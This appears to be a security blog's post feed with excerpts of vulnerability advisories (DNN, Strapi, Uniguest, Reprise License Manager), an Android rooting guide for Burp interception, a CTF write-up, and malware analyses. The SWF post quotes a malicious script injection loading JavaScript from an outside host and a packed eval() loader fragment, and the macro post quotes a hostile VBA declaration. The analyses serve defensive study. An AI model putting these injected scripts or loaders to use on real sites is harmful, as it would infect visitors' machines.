/post/ Recent content in Posts on { bit.therapy } Hugo -- gohugo.io _ Thu, 15 Apr 2021 15:48:46 +0000 /post/root-pixel4a-and-trust-burp-again/ Thu, 15 Apr 2021 15:48:46 +0000 /post/root-pixel4a-and-trust-burp-again/ Unlock flashing capabilities on the phone: adb reboot bootloader fastboot flashing unlock Confirm unlock when prompted and boot. Install latest Magisk apk (https://magiskmanager.com/downloading-magisk-manager): adb install magisk.apk Download matching Settings > About > Build number image (RQ1A.201205.008 or similar) from https://developers.google.com/android/images#sunfish Extract boot.img from zip within zip and push it: adb push boot.img /sdcard/Download/boot.img Use magisk to patch boot.img and download it from the phone: adb pull /sdcard/Download/magisk-modified-boot.img Reboot back into fastboot: /post/dotnetnuke-directory-traversal-vulnerability-cve-2020-8593/ Wed, 08 Apr 2020 00:00:00 +0000 /post/dotnetnuke-directory-traversal-vulnerability-cve-2020-8593/ CVE: CVE-2020-8593 Vendor: DNN Software (https://www.dnnsoftware.com/, https://dnncommunity.org/) Product: DotNetNuke, DNN Platform Version Affected: <= 9.4.x Fixed Version: 9.5.0 Description: “The DNN Platform is a free and open source product you can download today and create powerful websites with.” The DNN Platform’s administrative panel provides a File Manager component which is vulnerable to directory traversal. Attackers can upload a specially crafted zip file which when extracted, allows navigation outside of the File Manager defined Root. /post/strapi-framework-remote-code-execution/ Tue, 03 Dec 2019 15:33:07 +0000 /post/strapi-framework-remote-code-execution/ CVE: CVE-2019-19609 Vendor: Strapi (https://strapi.io) Product: Strapi Framework Version Affected: strapi-3.0.0-beta.17.7 and earlier Fix PR: https://github.com/strapi/strapi/pull/4636 NPM Advisory: https://www.npmjs.com/advisories/1424 Description: “Manage your content. Distribute it anywhere. The open source Headless CMS Front-End Developers love.” Recently I came across a cool “headless” CMS called Strapi which makes creating dynamic sites painless. After poking around its code for a bit, I noticed a bit of potentially dangerous code in the plugin installPlugin and uninstallPlugin handler functions for the admin panel (packages/strapi-admin/controllers/Admin. /post/hardcoded-credentials-in-uniguest-kiosk-software-lead-to-api-compromise/ Wed, 17 Jul 2019 21:33:07 +0000 /post/hardcoded-credentials-in-uniguest-kiosk-software-lead-to-api-compromise/ If you’ve traveled at all within North America, you’ve likely at some point noticed or even used the shared kiosk machines available in hotel lobbies. These are typically running a locked down version of Windows, and chances are they are managed by Uniguest software. Uniguest kiosk software will restrict the user to simple tasks, such as maybe browsing the web or printing boarding passes. Uniguest software can be found in other industries, not just hospitality: /post/rce-with-arbitrary-file-write-and-xss-in-reprise-license-manager/ Wed, 18 Jul 2018 17:32:04 +0000 /post/rce-with-arbitrary-file-write-and-xss-in-reprise-license-manager/ CVE-2018–15573: Arbitrary File Write in Reprise License Manager CVE-2018–15574: XSS in Reprise License Manager TW-2018-006: Unpatched Remote Code Execution and XSS in Reprise License Manager During a recent engagement, I came across a particularly interesting web application called RLM, running on the non-standard port 5054. This naturally caught my eye. After a bit of poking around, I was able to identify a critical vulnerability which allowed me to execute code on the server, eventually leading to full domain compromise. /post/malicious-document-analysis-macro-to-shellcode/ Fri, 25 Nov 2016 18:09:21 +0000 /post/malicious-document-analysis-macro-to-shellcode/ I came across an interesting Word document which at first glance definitely looked malicious. It had everything from random variable names to lyrics from Garbage - Run Baby Run in the comments. It also used an uncommon but very cool method for moving from macro to machine code execution. Macro Breakdown The macro starts by creating pointers to DLL exports already loaded in memory by Word: 'Run from the noise of the street and the loaded gun Public Declare Function whitworth Lib "kernel32. /post/analyzing-obfuscated-swfs/ Sun, 09 Oct 2016 13:18:17 +0000 /post/analyzing-obfuscated-swfs/ A few days ago I was alerted of a host communicating with a (bad) domain and downloading SWF files. There was some concern that there was malware beaconing out and I needed to figure out the extent of this infection, if any. The host in question was seen contacting NovaSyncs.com which was serving malicious JS via mine.js: document.write(unescape("%3Cscript src='http://i.ejieban.com/clouder.js' defer='defer' type='text/javascript'%3E%3C/script%3E")); Digging deeper: eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('a("V"==1B(3)){3=[];3.g=[];3.K=9(h){4 6=5.16("1u");6.w.o="0";6.w.j="0";6.w.1G="1M";6.w.29="-2d";6.1p=h;1j 6};3.C=9(v,8){4 6=3. /post/icectf-analyzing-pcaps-and-reversing-encryption/ Sat, 20 Aug 2016 17:49:03 +0000 /post/icectf-analyzing-pcaps-and-reversing-encryption/ IceCTF started a little while a go and we got a team together to try and grab some of these flags. If you’re doing the challenges right now… well spoiler alert. One of the challenges provided a PCAP with a conversation between two parties that contained the flag somewhere. ##PCAP Analysis Alright, let me open this in Wireshark: Interesting… some IRC chatter. If I right-click and Follow TCP stream I can read the full conversation: /post/a-look-at-zepto-ransomware-payload-delivery-analysis/ Tue, 16 Aug 2016 12:36:51 +0000 /post/a-look-at-zepto-ransomware-payload-delivery-analysis/ It’s another quiet Friday when we are alerted of bunch of files with the .zepto extension being created all over the place. It seems that a Zepto sample that worked its way through our network. AV was mostly useless and the ransomware managed to encrypt a few thousand files on a particular share. First thing’s first, I need to find all the users actively encrypting files on this share. Zepto creates a help file in all of the directories it attacks. /post/walking-through-angler-exploit-kit-payload-delivery-analysis/ Mon, 18 Apr 2016 14:28:00 +0000 /post/walking-through-angler-exploit-kit-payload-delivery-analysis/ A few days ago I was alerted of a potentially compromised website serving Angler EK: hxxp://www.stadiumseatingcharts.com/rogers-centre/ The Angler exploit kit will redirect the client to a separate compromised server in order to deliver the exploit and the malware stage. Usually, it accomplishes this using an iframe or an anchor (and calling the click() method for that element), or something similar. The point is, there is some bad JavaScript code leading to some other bad JavaScript code, and it’s usually obfuscated.